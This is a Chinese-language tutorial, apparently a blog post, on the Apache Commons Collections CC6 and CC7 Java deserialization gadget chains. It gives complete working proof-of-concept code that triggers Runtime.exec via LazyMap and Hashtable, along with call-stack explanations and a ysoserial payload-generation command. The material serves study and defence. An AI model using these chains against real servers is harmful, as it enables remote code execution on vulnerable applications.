1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 package Apache_Common_Collections.cc_1_7;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CommonsCollections6 { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { Transformer[] fakeTransformer = new Transformer []{}; Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer chainedTransformer = new ChainedTransformer (fakeTransformer); Map uselessMap = new HashMap (); Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"test" ); HashMap hashMap = new HashMap (); hashMap.put(tiedMapEntry, "test" ); Field field = chainedTransformer.getClass().getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(chainedTransformer, transformers); lazyMap.clear(); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(hashMap); oos.flush(); oos.close(); ByteArrayInputStream bais = new ByteArrayInputStream (baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); ois.close(); } }
大体调用栈:
1 2 3 4 5 6 7 8 9 10 11 ->HashMap.readObject() ->HashMap.putForCreate() ->HashMap.hash() ->TiedMapEntry.hashCode() ->TiedMapEntry.getValue() ->LazyMap.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->…………
CC7 测试环境 :3.1-3.2.1,jdk1.7,1.8
这里仍然是想法子触发LazyMap.get()。Hashtable 的 readObject 中. 遇到 hash 碰撞时, 通过调用一个对象的 equals 方法对比两个对象判断是真的 hash 碰撞. 这里的 equals 方法是 AbstractMap 的 equals 方法。
Hashtable 类的关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { ……………… for (; elements > 0 ; elements--) { K key = (K)s.readObject(); V value = (V)s.readObject(); reconstitutionPut(newTable, key, value); } this .table = newTable; } private void reconstitutionPut (Entry<K,V>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = hash(key); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } Entry<K,V> e = tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
跟进上面的 equals 方法,发现最终调用了 AbstractMap 类的 equals 方法,如下:
image-20230124185509605
就是在这里触发了 LazyMap.get()。
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 package Apache_Common_Collections.cc_1_7;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CommonsCollections7 { public static void main (String[] args) throws IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException { Transformer[] fakeTransformer = new Transformer []{}; Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer chainedTransformer = new ChainedTransformer (fakeTransformer); Map innerMap1 = new HashMap (); Map innerMap2 = new HashMap (); Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1, "test" ); hashtable.put(lazyMap2, "test" ); Field field = chainedTransformer.getClass().getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(chainedTransformer, transformers); lazyMap2.remove("yy" ); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(hashtable); oos.flush(); oos.close(); ByteArrayInputStream bais = new ByteArrayInputStream (baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); ois.close(); } }
这里需要重复2次重复的添加到Hashtable
的操作
Hashtable
的reconstitutionPut
方法是被遍历调用的
image-20230124191526657
image-20230124191546132
第一次调用的时候,并不会走入到reconstitutionPut
方法for循环里面,因为tab[index]
的内容是空的,在下面会对tab[index]
进行赋值。在第二次调用reconstitutionPut
时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals
方法。这也是为什么要调用两次put的原因。
大体调用栈:
1 2 3 4 5 6 7 8 9 10 ->Hashtable.readObject() ->Hashtable.reconstitutionPut() ->AbstractMapDecorator.equals ->AbstractMap.equals() ->LazyMap.get.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->…………
ysoserial 在java反序列化上有一个里程碑式的工具 ysoserial
反序列化漏洞在各个语言里本不是一个新鲜的名词,但2015年Gabriel Lawrence (@gebl)和ChrisFrohoff (@frohoff)在AppSecCali上提出了利用Apache Commons Collections来构造命令执⾏的利用链,并在年底因为对Weblogic、JBoss、Jenkins等著名应用的利用,一石激起千层浪,彻底打开了一片Java安全的蓝海。
而ysoserial 就是两位原作者在此议题中释出的一个工具,它可以让用户根据自己选择的利用链,生成反序列化利用数据,通过将这些数据发送给目标,从⽽而执⾏用户预先定义的命令。什么是利用链?
利用链也叫“gadget chains”,我们通常称为gadget。如果你学过PHP反序列化漏洞,那么就可以将gadget理解为一种方法,它连接的是从触发位置开始到执⾏命令的位置结束,在PHP里可能是 __desctruct 到 eval ;如果你没学过其他语言的反序列化漏洞,那么gadget就是一种生成POC的方法罢了。
ysoserial的使用也很简单,虽然我们暂时先不理解 CommonsCollections ,但是用ysoserial可以很容易地生成这个gadget对应的POC:
1 java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"
如上,ysoserial大部分的gadget的参数就是一条命令,比如这里是 id 。生成好的POC发送给目标,如果目标存在反序列化漏洞,并满⾜足这个gadget对应的条件,则命令 id 将被执⾏